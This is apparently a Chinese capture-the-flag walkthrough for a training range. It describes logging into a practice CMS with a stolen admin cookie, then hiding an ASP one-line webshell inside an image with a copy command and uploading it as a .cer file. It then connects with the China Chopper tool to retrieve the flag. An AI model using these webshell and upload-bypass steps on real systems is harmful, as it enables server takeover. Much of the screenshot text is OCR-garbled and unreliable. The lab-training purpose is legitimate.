## 第四章:进击,拿到Web最高权限



1.根据前关已经得到了cookie,现在需要修改cookie达到登录系统的目的。

2.打开网站,以谷歌浏览器为例,F12打开控制台,找到Application,对图中3 4的值进行修改,修改的内容为 你获取到的cookie的内容,34分别对应cookie中 "="左右的内容。

|  |     |        |          |       |  |  |  | 6 x 1 |   |   |           |              |                  |         |
|--|-----|--------|----------|-------|--|--|--|-------|---|---|-----------|--------------|------------------|---------|
| 11 12                                    | MAG | mail 🙂 | You Tube | 2 10回 |  |  |  |       |   |   |           |              |                  | [] 元庆清单 |
| 修改为管理员cookie后请直接访<br>问管理页面 <u>准备好了吗?</u> |     |        |          |       |  |  |  |       | Carlobitis non-analistics in Consent Mony mitch Councel Support (a) Elements Consent Consent Surveys Application Mannet Service Workes Application Mannet Service Workes Application Service Workes Application Service Workes Application Service Workes Application |   |           |              |                  |         |
|  |     |        |          |       |  |  |  |       |   | Storage<br>> III Local Storage<br>> III Session Storage<br>III Indees008<br>III Web 500<br>> Web 500<br>> Begurgstratioop in wydd<br>III Trust Tokens | 3         | 4            |                  |         |
|  |     |        |          |       |  |  |  |       |   | Cache<br>Cache Storage<br>Back-forward Cache  | Cookie Va | lee O Show U | Show URL decoded |         |
|  |     |        |          |       |  |  |  |       |   | Background Services<br><sup>†</sup> 4 Background Fetch<br><sup>©</sup> Background Sync<br><sup>®</sup> Notifications                                  |           |              |                  |         |
|  |     |        |          |       |  |  |  |       |   | Payment Handler O Periodic Background Sync Push Messaging   | SDN (     | @m0_4        | 48294            | 281     |

3.修改后点击"准备好了吗"或者刷新页面,因为cookie已经被修改,顺利登录系统。

|                 |    |                   |                                    | 企业网站管理系统  |  |  |  |  |
|-----------------|----|-------------------|------------------------------------|---|--|--|--|--|
|                 |    |                   | 管理快速方式                             |   |  |  |  |  |
| DARION   MOD    |    | 143875406889      | 管理员管理                              |   |  |  |  |  |
| 統設課             | 8  |                   |                                    |   |  |  |  |  |
| 929             | 8  |                   |                                    |   |  |  |  |  |
| 品修理             | 8  |                   |                                    | 系统信息  |  |  |  |  |
| 10710238        | 8  | 用户名: whin         |                                    | IP   192.168.0.21   |  |  |  |  |
| app opp         |    | 鼻伯证期:30 分钟        |                                    | 現在19月前 : 2021年12月31日222 T<br>上級時間 : 2018-0-30 10:27.39  |  |  |  |  |
| 10.00.00        |    | 上域次数: 548         |                                    |   |  |  |  |  |
|                 |    | 服务器地名: 4,946005.1 | a aglab en / dijigeoos is aglab en | 副本編編引題: V05eript/5.6.0032   |  |  |  |  |
| CPUID III       |    | 服务器院刊的名称: 形 の     | ws+81-115/6.0                      | 2012部総合: BuillarS: 0 (Finders NT 6.2; Find4; s64) AppleWebEut/537.36 02098, like<br>Sector) Chronat/W. 0.4064.110 Safari/537.36<br>数項音楽用: √ |  |  |  |  |
| の設置             |    | FSO文本旗写 I √       |                                    |   |  |  |  |  |
| 1000 M          |    | Jmail组织文持: H      |                                    | CDONTSIER变种: ×  |  |  |  |  |
| Veb Information |    |                   |                                    |   |  |  |  |  |
| 並用以管理系统         |    |                   | Script                             | Execution Time7.964768E+07ms  |  |  |  |  |
|                 | 10 |                   |                                    | CSDN @m0_48294281   |  |  |  |  |

4.准备菜刀工具,菜刀的下载可以去bilibili自己搜索,有UP主做了详细视频

5. 获取到可上传文件类型

| $\leftarrow \rightarrow \times$ |           | O 👌 di9k8 | 005.ia. <b>aqlab.cn</b> /adm | nin/default.asp    |                         |                     | 關合              |
|---------------------------------|-----------|-----------|------------------------------|--------------------|-------------------------|---------------------|-----------------|
| 一大弧音方站点                         | € 😜 \$K≠J | 出版 □ 常用用址 | 🕀 REFERRA                    | s-11- Error Based. | - 🙂 封神台·掌控安全在.          | GitHub - H4ckForJo. | 🦲 sqlmap之(五)Coo |
|                                 |           |           |                              |                    | 企业网                     | 站管理系统               |                 |
| @ 管理后台                          | ۲         |           |                              | 0150               | 4X (2) TIN (2)          | 1876 J              | 90              |
| 國知義英   過出                       | <b>(</b>  |           |                              | 1 × ×              | v                       |                     |                 |
| N. 45, 95 (W)                   | 8         |           |                              | -                  |                         |                     |                 |
| 0.4640.00                       | 8         |           |                              | 1                  |                         |                     |                 |
| ADMIN                           | 8         |           |                              |                    |                         |                     |                 |
| 产品类别                            |           |           |                              |                    |                         |                     |                 |
| 产品管理                            |           |           |                              |                    |                         |                     |                 |
| 添加产品                            |           |           |                              |                    |                         |                     |                 |
| 18-15/225                       | -         |           |                              |                    |                         |                     |                 |
| 10101010                        | 8         |           | TAB                          |                    |                         |                     |                 |
| FERD                            | 8         |           |                              | Di diskenns in an  | lah m                   |                     |                 |
| TI MORE                         | 8         |           |                              | C) and a constant  | patricin                |                     |                 |
| Same                            | 8         |           |                              | 8种文件类型不允许          | F上版!                    |                     |                 |
| T-MINIT                         | 8         |           | 5                            | 记允许上传这几种文          | t/体类型:gifjpg bmp png sv | vf]doc]rar]cer      |                 |
| 人才管理                            | 8         |           | _                            |                    |                         |                     |                 |
| A: MIAIR                        | 8         |           |                              |                    |                         | MACO:               |                 |
| Web Information                 |           |           |                              |                    |                         |                     |                 |
| 2-2-网以管理系统                      |           |           |                              |                    |                         |                     |                 |
|                                 |           |           |                              | 0 代码               |                         | 2. 预况               | မိုင            |
|                                 |           |           | 2° 88                        | EHt :              |                         |                     |                 |
|                                 |           |           | EMA                          | NRE: 🖬 🗷 🕮 ( 1001  | 和选中的活动直接发行)             |                     |                 |
|                                 |           |           | <b>四页</b> 5                  | (10) 是(10)         | 用选中的话将在首页显示)            |                     |                 |
|                                 |           |           | 10月11日                       |                    | 果选中的话将在首页显示为新品          | IRA CODAL ON        |                 |
|                                 |           |           | 要入意                          | 10 : 2022-1-5 (    | 5:01:56 INMR1879 :      | 2022-1-5 注意不要改变地式   | 110_4629428     |

7.看到cer文件,考虑asp一句话木马,新建记事本添加代码: <%eval request%("a")>,文件保存1.php,下载图 片另存为1.png,使用cmd命令制作图片木马: copy 1.png+1.php 2.png,看到生成的2.png文件后,修改其后缀 为.cer



6.上传文件, 菜刀链接。

| 🗋 新手上路 🗋 常用网   | 12 ⊕ 东东南城 🔒 Less-11-                           | Error Based 😕 封神台 - 掌控安全在 🧿 GitHub - H4ckForJo [             | sqlmap之(五)Coo | 088 |
|--|--|--|---------------|-----|
|  |  | 企业园站管理系统   |               |     |
| 0  |  |  | 40            |     |
| 0  |  |  |               |     |
|  |  | 6  | 1             |     |
|  |  | Π  |               |     |
|  |  |  |               |     |
|  |  |  |               |     |
|  |  |  |               |     |
|  |  |  |               |     |
|  |  |  |               |     |
|  | NATO SE  |  |               |     |
|  | \$45,5C/~68/86493 :                            |  |               |     |
|  |  |  |               |     |
|  |  |  |               |     |
|  |  |  |               |     |
|  |  |  |               |     |
|  |  |  |               |     |
|  |  |  |               |     |
|  |  |  |               |     |
| 0  | 3.3  |  |               |     |
|  |  | ●代码 通货计 ④文本 ●预定  |               |     |
| r a  | *88 <b>*</b> *                                 | ○代時 可设计 ○文本 ●預定<br>1月175日につない2月25日25日275日<br>文件上掲載功:文件大小功:0K | 0-            |     |
|  | 产品还 <b>个</b> :<br>已透过新练:                       |  | <b>0</b> •    |     |
| 9<br>9<br>90<br>90<br>90<br>90<br>90<br>90<br>90         | 产品图4:<br>已感过来核:<br>美国显示:                       | マ 代時   | 0.00          |     |
| 2<br>3<br>3<br>3<br>4<br>4<br>4<br>4<br>4<br>5<br>3<br>5 | 产品图 4:<br>已通过审核:<br>通过显示:<br>首页联局显示:           |  | <b>Q</b> =    |     |
|  | 产品肥料:<br>已通过端梯:<br>前页部品显示:<br>黄文部品显示:<br>爱人时间: |  | <b>0</b> -    |     |



## 7.找到tips提示文件,下载到桌面。

|                        |   | ±  | ✓ 读取  | 星  |
|------------------------|---|--|---|----|
| 名称                     | 时间  | 大小   | 属性  | 80 |
| editor_InsertFlash.asp | 2013-04-07 18:15:00   | 3192   | 32  |    |
| Dishitar Tarartifi ara | 2013-04-07 18-15-00<br>弓存为  | 2420   | ×   | 10 |
| 保存在(1): 盧面             | • + in (  | * 🖬 •  |   |    |
| <b>库</b><br>系统文件夹      |   |  | <b>i</b> (  |    |
| asus<br>系统文件夹          |   |  |   |    |
| 11年初<br>系统文件夹          |   |  | ~   |    |
| 文件名(N): FLAGI.txt      |   | 保存(S)  | ]   |    |
| 保存类型(T):               | •   | 取消   | 1   |    |
|                        | 名称<br>editor_InsertPlash.asp<br>ditor TerestPlash.asp<br>のはため、TerestPlash.asp<br>のはため、TerestPlash.asp<br>のののののののののののののののののののののののののののののののののののの | 名称 时间   ● editor_LasertFlash.asp 2013-04-07 18:15:00   2013-04-07 18:15:00 2013-04-07 18:15:00   第存在(1): ● 第回   第存在(2): ● 第回   第時次供表 ● 第回   ● 第四 ●   ● 第四 ●   ● 第四 ●   ● 第回 ●   ● ● | 名称 时间 大小   editor_LasertFlash.asp 2013-06-07 18:15:00 3192   2013-06-07 18:15:00 3192 3192   2013-06-07 18:15:00 3192 3192   第存在(1): ■ 桌面 ● 余 圖 昏 圖 ●   第時次供表 ● 余 圖 昏 圖 ●   ● 素成文件表 ●   ● 素成文件表 ●   ● 文件名(N): ■ ▲ 回 ●   ● 余存(1): ●   ● 余方(1): ● |    |

## 8.拿到通关flag

